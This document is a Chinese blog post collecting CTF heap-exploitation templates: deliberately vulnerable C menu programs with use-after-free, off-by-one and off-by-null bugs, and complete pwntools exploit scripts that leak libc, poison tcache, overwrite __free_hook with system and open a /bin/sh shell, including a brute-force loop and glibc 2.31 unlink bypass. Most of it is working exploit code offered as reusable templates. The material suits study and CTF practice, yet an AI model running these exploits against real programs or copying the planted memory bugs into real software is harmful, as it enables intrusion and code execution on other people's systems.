pwn题常见堆利用总结

这里记录一些ctf中堆pwn的板子,总结学习

UAF打掉tcache拿libc

//uaf
#include
#include
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>=0x20)
    {
        puts("no more");
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      if(size>0x20)
      {
          puts("too more");
          return;
      }
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}

EXP

from pwn import *
r=process('./uaf')
elf = ELF("uaf")
libc=elf.libc
# context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))

def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))

def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))

def dbg():
    gdb.attach(r)
    pause()
for i in range(7):
    add(0x10)
# 拿堆地址
dele(0)
dele(1)
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001680+0x10
print(hex(heap))
# 申请到tcache管理空间,同时恢复tcache结构体功能,保持0x20堆块正常运行
edit(0,0x10,p64(heap))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
edit(7,0x20,p64(0)*4) # 7即tcache结构体
# 利用uaf申请到tcache结构题内管理0x250堆块的部分
dele(5)# 5-1
edit(5,0x10,p64(heap+0x20))
add(0x10)
add(0x10)
edit(10,0x20,p64(0x0000000007000000))
dele(7)
# 打到unsortbin后切割获取libc
add(0x10)
show(10)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
# 恢复一下结构体,进行最后的uaf利用
edit(10,0x20,p64(0)*4)
dele(10)
edit(10,0x20,p64(free))
add(0x10)
add(0x10)
edit(11,0x10,p64(sys))
edit(10,0x10,"/bin/sh\x00")
dele(10)
r.interactive()

小溢出堆叠(offbyone/向下合并/万用合并)

#include
#include 
#include 
#include
#include 
#include 
#include 
#include 
#include 
#include 
void sandbox(){
    struct sock_filter filter[] = {
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
    BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
    BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
    };
    prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
int init()
{
    setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}
int num=0;
char *heaparray[0x10];
size_t realsize[0x10];
void create(){
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
    heaparray[num]=(char *)malloc(size);
    realsize[num]=size;
    num++;

    }
void show(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆块的index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){//根据序列进行查找
        //打印指定堆块内容
        printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void edit(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆的序列号
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断序列号的正确性
        puts("Out of bound!");
        _exit(0);
    }
  //若序列号正确
    if(heaparray[idx]){
        int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
        printf("Content of heap : \n");
        read(0,heaparray[idx],size);
    //调用read_input函数输入堆的内容
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void dele(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断堆块序列的合法性
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);//free heaparray[idx]指针
        realsize[idx] = 0 ;
        heaparray[idx]=NULL;
        puts("Done !"); 
        num--;
    }else{
        puts("No such heap !");
    }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    init();
    sandbox();
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}

EXP

from pwn import *
r=process('./zheap')
elf = ELF('zheap')
libc=elf.libc
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("Size of Heap : \n",str(size))

def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("Index :\n",str(idx))

def edit(idx,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("Index :\n",str(idx))
    r.sendafter("Content of heap : \n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("Index :\n",str(idx))
def dbg():
    gdb.attach(r)
    pause()
# 9个0x80堆=0x480,填0x21自主合并
add(0x18)#0
add(0x78)#1
for i in range(10):
    add(0x78)
for i in range(2,10):
    edit(i,p64(0x21)*14)
edit(0,'a'*0x18+p64(0x421))
dele(1)
# 泄露完libc去找堆复用
add(0x18)
show(1)
r.recvuntil("Content : ")
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
base=leak-0x3ec090
sys=libc.sym['system']+base
free=libc.sym['__free_hook']+base
# 用vmmap看heap结构体存在堆复用
dele(1)
edit(11,p64(free))
add(0x18)
add(0x18)
edit(11,"/bin/sh")
edit(12,p64(sys))
dele(11)
r.interactive()

offbyone向下合并构造堆复用(malloc_consolidate拿libc)

题目漏洞就是edit的offbyone,数据输入用的scanf输入

from pwn import *
context.log_level = 'debug'
context.arch='amd64'
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
  '''
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process("bitflip")
elf = ELF('bitflip')
libc = elf.libc

def cmd(choice):
    sla('Your choice: ',choice)
def add(idx,size):
    cmd(1)
    sla('Index: ',idx)
    sla('Size: ',size)

def edit(idx,content):
    cmd(2)
    sla('Index: ',idx)
    p.sendlineafter(': ',content)

def show(idx):
    cmd(3)
    sla('Index: ',idx)

def delete(idx):
    cmd(4)
    sla('Index: ',idx)
def dbg():
    gdb.attach(p)
    pause()

for i in range(9):
    add(i,0x48)
for i in range(8):
    delete(i)

p.sendlineafter('Your choice: ','99999999'*0xf0)
for i in range(7):
    add(i,0x48)

add(7,0x48)
show(7)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6)+'\x00'*2)-160-0x3EBC40
lg('libc_base',libc_base)
sys=libc.sym['system']+libc_base
free=libc.sym['__free_hook']+libc_base
for i in range(9,16):
    add(i,0x18)
for i in range(16,23):
    add(i,0x28)

add(23,0x18)
add(24,0x28)
add(25,0x18)
add(26,0x18)

for i in range(9,23):
    delete(i)
delete(25)
edit(23,'a'*0x18+'\x51')
delete(24)
add(27,0x48)
edit(27,p64(0x21)*6+p64(free-0x10))
for i in range(9,16):
    add(i,0x18)
add(24,0x18)
edit(24,'/bin/sh\x00')
add(25,0x18)
edit(25,p64(sys))
delete(24)

p.interactive()

大堆合并(offbynull/向前合并)

题目就是offbynull漏洞,一般可申请的堆都在0x100作业

EXP

from pwn import *
context.log_level = 'debug'
context.arch='amd64'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process("old_school_revenge")
elf = ELF('old_school_revenge')
libc = elf.libc

def cmd(choice):
    sla('Your choice: ',choice)
def add(idx,size):
    cmd(1)
    sla('Index: ',idx)
    sla('Size: ',size)

def edit(idx,content):
    cmd(2)
    sla('Index: ',idx)
    p.sendlineafter(': ',content)

def show(idx):
    cmd(3)
    sla('Index: ',idx)

def delete(idx):
    cmd(4)
    sla('Index: ',idx)
def dbg():
    gdb.attach(p)
    pause()

for i in range(9):
    add(i,0x48)
for i in range(8):
    delete(i)

p.sendlineafter('Your choice: ','99999999'*0xf0)
for i in range(7):
    add(i,0x48)

add(7,0x48)
show(7)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6)+'\x00'*2)-160-0x3EBC40
lg('libc_base',libc_base)
free=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
# 前面是看到scanf输入直接抄板子梭哈了,获取到libc
for i in range(10,17):
    add(i,0xf8)
add(17,0xf8)
add(18,0x88)# edit中间这个chunk
add(19,0xf8)
add(20,0x88)
for i in range(10,17):
    delete(i)

delete(17)
edit(18,'a'*0x80+p64(0x190))
delete(19)
for i in range(10,17):
    add(i,0xf8)
add(21,0xf8)
add(22,0x88)
delete(18)
edit(22,p64(free))
add(23,0x88)
edit(23,'/bin/sh\x00')
add(24,0x88)
edit(24,p64(sys))
delete(23)
p.interactive()

大堆合并(offbynull在libc2.31/2.29下的利用)

题目限制堆数量10个,for循环编号赋予
基本上无size限制,仅有offbynull漏洞,libc-2.31

思路

伪造出一个chunk,使其能够绕过这两个检测。
一个是向低地值合并的检测:

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

另一个就是unlink时候的检测

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);
image.png

EXP

from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process("bornote")
elf = ELF('bornote')
libc = elf.libc

def cmd(choice):
    sla("aaa's cmd: ",choice)

def add(size):
    cmd(1)
    sla('Size: ',size)

def edit(idx,content):
    cmd(3)
    sla('Index: ',idx)
    p.sendlineafter('Note: ',content)

def show(idx):
    cmd(4)
    sla('Index: ',idx)

def delete(idx):
    cmd(2)
    sla('Index: ',idx)

def dbg():
    gdb.attach(p)
    pause()
fakechunk = 0x00005561306c6f00
sla('username: ','aaa')
# 这里size最大最好别超过0x440,不然放进largebin时/不在同一个区间上
add(0x418) # 0 
add(0x128) # 1 # 最后绕过tcache个数检测,和最后利用堆复用的chunk一样大
add(0x418) # 2
add(0x438) # 3 
add(0x148) # 4
add(0x428) # 5 
add(0x138) # 6

# fakechunk 粘fd和bk
delete(0)
delete(3)
delete(5)

#设置fakechunk size位
delete(2) 
add(0x438)  # 0 
edit(0,'a' * 0x418 + p64(0xb01)[:7])
add(0x418)  # 2 
add(0x428)  # 3 
add(0x418)  # 5 

# 设置bk
delete(5)
delete(2)
add(0x418)  # 2 
edit(2,p64(0))
add(0x418)  # 5 

# 设置fd
delete(5)
delete(3)
add(0x5f8)# 3 # 置入largebin
add(0x428)# 5
edit(5,'')
add(0x418)# 7
add(0xf8)# 8

# 设置prevsize
edit(6,'a'*0x130+p64(0xb00))
delete(3)

add(0x10)# 3
show(7)
p.recvuntil("Note: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))- 0x1EBBE0
lg('libc_base',libc_base)
sys = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
add(0x128)#9
delete(1)
delete(9)
edit(7,p64(free_hook))
add(0x128)# 1
add(0x128)# 9
edit(1,"/bin/sh\x00")
edit(9,p64(sys))
delete(1)

p.interactive()

爆破

思路

漏洞是UAF,但每次申请的size大小不可控,导致无法准确申请到想要的堆
尽量避免doublefree的申请,降低爆破次数

EXP

#coding=utf-8
from pwn import *
# context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
# p = process("random_heap")
elf = ELF('random_heap')
libc = elf.libc
def cmd(choice):
    sla("Your choice: ",choice)
def add(idx,size):
    cmd(1)
    sla("Index: ",idx)
    sla("Size: ",size)
def edit(idx,content):
    cmd(2)
    sla("Index: ",idx)
    p.sendafter("Content: ",content)
def show(idx):
    cmd(3)
    sla("Index: ",idx)
def delete(idx):
    cmd(4)
    sla("Index: ",idx)
def dbg():
    gdb.attach(p)
    pause()

def pwn():
    add(0,0xf8)
    add(1,0x88)
    edit(1,'/bin/sh\x00')
    # 拿堆地址
    delete(0)
    edit(0,'a'*0x10)
    delete(0)
    show(0)
    p.recvuntil("Content: ")
    heap=u64(p.recv(6)+'\x00'*2)-0x260
    lg('heap',heap)
    for i in range(6):
        edit(0,'a'*0x10)
        delete(0)
    show(0)
    p.recvuntil("Content: ")
    libc_base=u64(p.recv(6)+'\x00'*2)-96-0x3ebc40
    lg('libc_base',libc_base)
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    add(2,0x18)
    delete(2)
    edit(0,p64(free_hook)*2)
    delete(2)
    edit(0,p64(free_hook)*2)
    add(2,0x18)
    show(2)
    tmp = u64(((p.recvuntil("\x7f",timeout=0.4))[-6::]).ljust(8,'\x00'))
    if(tmp!=free_hook):
        exit()
    add(3,0x18)
    edit(3,p64(system))
    delete(1)
    p.sendline("cat flag")
    print p.recvuntil("}",timeout=0.4)

times = 0
while 1:
    try:
        p = process("./random_heap")
        pwn()
        p.interactive()
    except:
        times += 1
        print("="*8+str(times)+" times"+"="*8)
        p.close()

你可能感兴趣的:(pwn题常见堆利用总结)